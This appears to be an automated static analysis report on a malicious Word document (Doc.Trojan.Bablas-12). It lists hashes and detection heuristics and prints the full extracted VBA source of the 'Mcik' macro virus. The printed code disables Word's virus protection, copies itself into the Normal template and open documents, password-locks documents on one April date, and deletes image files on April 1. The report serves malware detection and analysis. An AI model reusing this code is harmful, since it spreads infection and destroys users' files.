Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3073904744e90985…

MALICIOUS

Office (OLE)

43.0 KB Created: 2000-09-15 08:07:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 38f7e414f84f8d04e92ed8607496e90b SHA-1: b3a3b7d9cde45fe34065bb4dd8cb15afa712c971 SHA-256: 3073904744e909856d8c5b85924bb02b4b48a221e0f0abfd3edfb8ee61639494
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Trojan.Bablas-12. It contains VBA macros, including AutoOpen and AutoClose functions, which are commonly used to execute malicious code upon opening or closing a document. The 'Bablas' subroutine explicitly disables virus protection and save prompts, indicating an intent to facilitate further malicious activity.

Heuristics 6

  • ClamAV: Doc.Trojan.Bablas-12 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bablas-12
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5922 bytes
SHA-256: 9375d2381f39dbf6db21348d80836b907f20dfe88467c71a06a7071a696fed9d
Detection
ClamAV: Doc.Trojan.Bablas-12
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Mcik1"
Sub Alert()
    If Month(Now()) = 7 Then
    Assistant.Visible = True
    With Assistant.NewBalloon
         .Icon = msoIconAlert
         .Text = "Happy birthday to bieB..."
         .Heading = "My heart to You"
         .Show
    End With
    ElseIf Month(Now()) = 11 Then
    Assistant.Visible = True
    With Assistant.NewBalloon
         .Icon = msoIconAlert
         .Text = "Congratulate for your Virus & Make Viruses Again & more destroyed"
         .Heading = "Happy birthday to Macik..."
         .Show
    End With
    End If
    End Sub
    Sub Alert1()
    If Time >= TimeValue("11:00:00") And Time <= TimeValue("12:59:59") Then
    Assistant.Visible = True
    With Assistant.NewBalloon
         .Icon = msoIconAlert
         .Text = " SHOLAT JUM'AT DULU YAAAA.."
         .Heading = "Inga'-Inga'"
         .Show
    End With
 End If
End Sub

Sub Bablas()
    Options.SaveNormalPrompt = False
    Options.VirusProtection = False
    Options.SavePropertiesPrompt = False
End Sub

Sub ToolsMacro()
    H = MsgBox("Microsoft Office Error.", vbExclamation + vbOKOnly)
End Sub

Sub ViewVbCode()
    ToolsMacro
End Sub

Sub FileTemplates()
    ToolsMacro
End Sub

Sub HelpAbout()
    H = MsgBox("Salam dari Author....." & Chr(13) & Chr(13) & _
    "Bagi para Hacker atau yang sok Hacker!" & Chr(13) & _
    "di Yogya atau dimana aja, Anda boleh" & Chr(13) & _
    "Modifikasi ini Virus, Tapi jangan Asal" & Chr(13) & _
    "Nampang (Jangan Malu-Maluin), Oke...!", vbOKOnly + vbExclamation, "Macik")
End Sub

Sub ToolsOptions()
    Options.SaveNormalPrompt = True
    Options.SavePropertiesPrompt = True
    Options.VirusProtection = True
    Dialogs(wdDialogToolsOptions).Show
    Bablas
End Sub

Sub ChangeCap()
    On Error Resume Next
    Application.Caption = "@"
    ActiveWindow.Caption = "Mcik"
End Sub

Sub RestoreCap()
    On Error Resume Next
    Application.Caption = "Microsoft Word"
    ActiveWindow.Caption = ActiveDocument.Name
End Sub

Sub OpenMyMacro()
    If InputBox("Enter password") = "Mcik" Then Application.ShowVisualBasicEditor = True
End Sub

Sub SikatDocument()
    Dim DocOk As Boolean
    DocOk = False
    For Each Obj In ActiveDocument.VBProject.VBComponents
        If Obj.Name = "Mcik1" Then DocOk = True
        If Obj.Name <> "Mcik1" And Obj.Name <> "ThisDocument" Then
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If DocOk = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument, Name:="Mcik1", Object:=wdOrganizerObjectProjectItems
    End If
End Sub

Sub SikatTemplate()
    Dim NorOk As Boolean
    NorOk = False
    For Each Obj In NormalTemplate.VBProject.VBComponents
        If Obj.Name = "Mcik1" Then NorOk = True
        If Obj.Name <> "Mcik1" And Obj.Name <> "ThisDocument" Then
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If NorOk = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="Mcik1", Object:=wdOrganizerObjectProjectItems
        Application.DisplayRecentFiles = False
        Application.DisplayRecentFiles = True
    End If
End Sub

Sub AutoExit()
    If (WeekDay(Date) = vbFriday) Then
    H = MsgBox("Sorry Mcik Menggangu", vbOKOnly + vbExclamation, "Mcik")
    End If
    Application.Quit
End Sub

Sub FileOpen()
    ChangeCap
    WordBasic.DisableAutoMacros True
    On Error Resume Next
    If Dialogs(wdDialogFileOpen).Show <> 0 Then
        SikatDocument
        ActiveDocument.Save
    End If
    RestoreCap
    WordBasic.DisableAutoMacros False
End Sub

Sub AutoOpen()
    Bablas
    ChangeCap
    SikatTemplate
    On Error Resume Next
    NormalTemplate.Save
    RestoreCap
End Sub

Sub AutoClose()
    SikatDocument
    On Error Resume Next
    If Month(Now()) = 4 And (WeekDay(Date) = vbSunday) Then
      If Time >= TimeValue("11:00:00") And Time >= TimeValue("12:59:59") Then
         If ActiveDocument.HasPassword = False Then
            ActiveDocument.Password = "@Mcik"
            ActiveDocument.Save
         End If
      End If
    End If
End Sub

Sub FileClose()
    SikatDocument
    On Error Resume Next
    If (WeekDay(Date) = vbFriday) Then
    Alert1
    GoTo Tutup:
    End If
    Alert
Tutup:
    ActiveDocument.Close
End Sub

Sub FileSave()
    If ActiveDocument.Saved = False Then
        SikatDocument
        SikatTemplate
        On Error Resume Next
        ActiveDocument.Save
        ActiveDocument.Saved = True
    End If
End Sub

Sub Ancurin()
    C = Documents.Count
    If C <> 0 Then
        Normal.Mcik1.SikatDocument
        WordBasic.DisableAutoMacros False
        On Error Resume Next
        If ActiveDocument.Name <> "Document1" Then ActiveDocument.Save
    Else: Application.OnTime Now + TimeValue("00:00:07"), "Normal.Mcik1.Ancurin"
    End If
End Sub

Sub AutoExec()
    WordBasic.DisableAutoMacros True
    Bablas
    Application.OnTime Now + TimeValue("00:00:07"), "Normal.Mcik1.Ancurin"
End Sub
Sub FileExit()
    On Error Resume Next
    If Month(Now()) = 4 And Day(Now()) = 1 Then
    Kill "C:\*.BMP"
    Kill "C:\*.JPG"
    Kill "C:\*.GIF"
    End If
    AutoExit
    Aplication.Quit
End Sub